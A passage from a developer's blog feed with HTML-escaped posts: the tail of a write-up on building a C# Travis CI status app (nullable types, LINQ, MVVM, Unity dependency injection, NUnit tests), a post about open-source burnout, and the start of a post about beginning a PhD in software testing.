  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;last_build_result&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;last_build_result&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2012-06-21T12:00:59Z&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-nullable-type&quot;&gt;The nullable type&lt;/h2&gt;

&lt;p&gt;You may have noticed the use of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Nullable&amp;lt;T&amp;gt;&lt;/code&gt; type above. The API may or may
not return a value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;last_build_result&lt;/code&gt; entry. If a value is provided, it
is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;boolean&lt;/code&gt;, otherwise it is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt;. The &lt;a href=&quot;https://msdn.microsoft.com/library/1t3y8s4s.aspx&quot;&gt;Nullable
type&lt;/a&gt; allows to either have a
value or none.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LastBuildResult&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HasValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LastBuildResult&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Value&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Failed&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Passed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see in the example above, it is really expressive. It is worth
mentioning that the C# language is feature-rich:
&lt;a href=&quot;https://msdn.microsoft.com/library/512aeb7t.aspx&quot;&gt;generics&lt;/a&gt;, &lt;a href=&quot;https://msdn.microsoft.com/library/bb383977.aspx&quot;&gt;extension
methods&lt;/a&gt;,
&lt;a href=&quot;https://msdn.microsoft.com/library/ms173183.aspx&quot;&gt;reflection&lt;/a&gt;,
&lt;a href=&quot;https://msdn.microsoft.com/library/bb397926.aspx&quot;&gt;LINQ&lt;/a&gt;, &lt;a href=&quot;https://msdn.microsoft.com/library/bb397687.aspx&quot;&gt;lambda
expressions&lt;/a&gt;, &lt;a href=&quot;https://msdn.microsoft.com/library/hh191443.aspx&quot;&gt;asynchronous
programming&lt;/a&gt;, and a lot more!&lt;/p&gt;

&lt;h2 id=&quot;linq-and-lambda-expressions-on-collections&quot;&gt;LINQ and lambda expressions on collections&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;L&lt;/strong&gt;anguage-&lt;strong&gt;IN&lt;/strong&gt;tegrated&lt;strong&gt;Q&lt;/strong&gt;uery also known as
&lt;a href=&quot;https://msdn.microsoft.com/library/bb397926.aspx&quot;&gt;LINQ&lt;/a&gt; extends powerful query
capabilities to the language syntax of C#. This works with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DataSet&lt;/code&gt;, XML and
objects such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;List&amp;lt;T&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I used LINQ to sort the repositories according to a rank (i.e. according to the
build statuses, the failing projects come first) in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ApiRepository&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;repositories&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;OrderBy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;repository&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;repository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Rank&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the code snippet above, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&amp;gt;&lt;/code&gt; sign represents a lambda expression which is
also known as a closure (an anonymous function with a context).&lt;/p&gt;

&lt;h2 id=&quot;meet-the-layers&quot;&gt;Meet the layers&lt;/h2&gt;

&lt;p&gt;I only covered the Model layer until now so let’s talk about the View and the
ViewModel layers.&lt;/p&gt;

&lt;p&gt;The View has been written in
&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms752059.aspx&quot;&gt;XAML&lt;/a&gt;. It is a
declarative markup language with a large set of components to build graphical
user interfaces.&lt;/p&gt;

&lt;p&gt;In TravisLight.Net, there is a single window (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MainWindow&lt;/code&gt;) that displays a
single “UserControl” named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ListView&lt;/code&gt;. This view renders the list of
repositories with their status thanks to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ListViewModel&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ListViewModel&lt;/code&gt; receives an instance of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IRepository&lt;/code&gt; as constructor’s
argument, and creates an
&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms668604.aspx&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ObservableCollection&lt;/code&gt;&lt;/a&gt;
containing the repositories. This ViewModel is also responsible for refreshing
this collection (using a timer for now).&lt;/p&gt;

&lt;h2 id=&quot;dependency-inversion-principle&quot;&gt;Dependency inversion principle&lt;/h2&gt;

&lt;p&gt;By following the MVVM pattern, I ended up with a well-decoupled application, and
it was worth using programming to the interface as well as a Dependency
Injection Container. It was particularly useful for testing (which we will see
in a moment).&lt;/p&gt;

&lt;p&gt;Microsoft provides a library called
&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ff647202.aspx&quot;&gt;Unity&lt;/a&gt; that is a
lightweight, and extensible Dependency Injection Container. We can configure
this container either in XML or C#.&lt;/p&gt;

&lt;p&gt;A common pattern with MVVM seems to be the use of a Bootstrapper, i.e. a class
that prepares the container before starting the application. Mine looks like
this:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;TravisLight.Main&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Bootstrapper&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;region&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;attributes&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IUnityContainer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;UnityContainer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endregion&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Bootstrapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RegisterType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IRepository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ApiRepository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RegisterType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ListViewModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ListViewModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RegisterType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ListView&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ListView&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RegisterType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MainWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MainWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Application&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;App&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MainWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;());&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;STAThread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Bootstrapper&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bootstrapper&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Bootstrapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;bootstrapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see, it also contains a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Main()&lt;/code&gt; method. That is the entry point of
the application. Unity is configured in the constructor and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Run()&lt;/code&gt; method
passes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MainWindow&lt;/code&gt; to the application.&lt;/p&gt;

&lt;h2 id=&quot;unit-testing&quot;&gt;Unit testing&lt;/h2&gt;

&lt;p&gt;Microsoft maintains MSTest, a unit testing framework. As usual, it is
well-integrated with Visual Studio and TFS.&lt;/p&gt;

&lt;p&gt;That being said, I didn’t quite like its syntax, it is not super expressive.
Fortunately, I found another unit testing framework named
&lt;a href=&quot;https://www.nunit.org/&quot;&gt;NUnit&lt;/a&gt;. Much better in my opinion!&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;ViewModel.Test&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TestFixture&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ListViewModelTest&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IUnityContainer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TestFixtureSetUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;TestFixtureSetUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;UnityContainer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RegisterType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ListViewModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ListViewModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RegisterType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IRepository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Mock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Repository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;();&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;TestRepositoriesProperty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;ListViewModel&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;listViewModel&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ListViewModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;();&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;Assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;That&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;listViewModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Repositories&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Has&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EqualTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;Assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;That&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;listViewModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Repositories&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Has&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;All&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InstanceOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Repo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;());&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Each assertion is close to an actual sentence in plain English:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Assert that [the] repositories [collection] has count equal to 1.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the code above, you may have noticed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TestFixtureSetUp()&lt;/code&gt; method I used
to inject a mocked instance of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IRepository&lt;/code&gt; instead of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ApiRepository&lt;/code&gt;
implementation. Thanks, Dependency Injection!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Yet another great moment! This weekend project was a nice experience and I
learned a lot.&lt;/p&gt;

&lt;p&gt;Microsoft has pretty good tools/technologies these days, though they require
Windows. I should probably look at
&lt;a href=&quot;https://www.mono-project.com/CSharp_Compiler&quot;&gt;Mono&lt;/a&gt;, but there is no support
for C# 4.5 yet.&lt;/p&gt;

&lt;p&gt;As for the future, I still have thing I’d like to explore, e.g. &lt;a href=&quot;https://msdn.microsoft.com/en-us/data/ef.aspx&quot;&gt;Entity
Framework&lt;/a&gt; and the &lt;a href=&quot;https://blog.stackoverflow.com/2012/02/stack-exchange-open-source-projects/&quot;&gt;Stack
Exchange Open Source
projects&lt;/a&gt;
😇&lt;/p&gt;
&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;A “changeset” in TFS is similar to a “commit” in SVN. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Burnout.</title>
        <link href="https://williamdurand.fr/2013/02/20/burnout/"/>
        <updated>2013-02-20T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/02/20/burnout</id>
        <content type="html">&lt;p&gt;&lt;em&gt;You won’t be able to manage everything&lt;/em&gt;, they said.
Guess what? They were right, I am not able to manage everything, and I will try
to explain why in this blog post.&lt;/p&gt;

&lt;p&gt;First of all, I am a &lt;a href=&quot;/2013-01-02-new-year-new-life-new-job.html&quot;&gt;PhD student&lt;/a&gt;,
not a full-time developer. My daily job is about reading papers, understanding
applications I am working on, and finding a way to automatically test them.
Part of my PhD allows me to give lectures (in web development, PHP, and
security). My research area doesn’t allow me to work on Open Source projects
yet, so I don’t do Open Source at work (neither at the University).&lt;/p&gt;

&lt;p&gt;However, I am one of the 50 most active users on GitHub (wait, it is
&lt;a href=&quot;http://www.liferay.com/web/zeno.rocha/blog/-/blogs/i-m-the-50-most-active-contributor-on-github-so-what-&quot;&gt;subjective&lt;/a&gt;
though), I manage a few Open Source projects from weekend projects
(e.g. &lt;a href=&quot;https://github.com/willdurand/TravisLight&quot;&gt;TravisLight&lt;/a&gt;) to well-known
projects such as &lt;a href=&quot;https://github.com/propelorm/Propel&quot;&gt;Propel&lt;/a&gt; or
&lt;a href=&quot;https://github.com/everzet/capifony&quot;&gt;capifony&lt;/a&gt;. I don’t have any business
built on top of one of these projects, and I don’t get paid for supporting any
of these projects. This is Open Source after all!&lt;/p&gt;

&lt;p&gt;To be honest, I am really addicted to Open Source because I love working on new
projects, releasing new libraries that could be useful (like
&lt;a href=&quot;http://github.com/willdurand/Geocoder&quot;&gt;Geocoder&lt;/a&gt; I wrote for fun in one night),
and also maintaining existing projects. I learnt so much thanks to the Open
Source community, so I try to do my best to contribute back to this community.&lt;/p&gt;

&lt;p&gt;But now, I feel really overbooked. I spend my free time replying to emails,
reviewing Pull Requests, and understanding issues. Free time means each free
time frame (in my car, while eating, etc.) here. And when I have enough time, I
can code. I write tests, I tag new versions, I ensure each project I manage
actually works. This is really time consuming because I need to loop over all my
projects, all the time. That’s why I often release a bunch of new versions at
once. But I love that! Seriously.&lt;/p&gt;

&lt;p&gt;Thing is, I sleep 4 to 6 hours a day, I never stop, I can reply to emails even
while partying with friends. It’s not healthy. It happens because I have the same
workload I had when I was a developer (or a student). And, I did not talk about
Twitter, RSS feeds and so on, to stay up to date. It just cannot work. It is not
my job, and even if I am afraid to be egoist, I must admit I cannot manage
everything, and Open Source is not my priority anymore.&lt;/p&gt;

&lt;p&gt;That is why I have to stop working on Open Source projects for a while. In the
next two weeks, I will try to be offline. And I will see if I can manage my time
in a better way. In the meanwhile, if you are interested in taking the lead on
one of my projects (or in contributing), please drop me an email, and you will
become my hero!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>New year, new life, new job</title>
        <link href="https://williamdurand.fr/2013/01/02/new-year-new-life-new-job/"/>
        <updated>2013-01-02T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/01/02/new-year-new-life-new-job</id>
        <content type="html">&lt;p&gt;Today was my first day at &lt;a href=&quot;https://www.michelin.com/en/&quot;&gt;Michelin&lt;/a&gt; and that’s
a significant turning point in my life.&lt;/p&gt;

&lt;p&gt;I just started a &lt;strong&gt;PhD in software testing&lt;/strong&gt; and verification. I’ll be doing
research on &lt;strong&gt;optimizing and reusing tests&lt;/strong&gt; for applications controlling
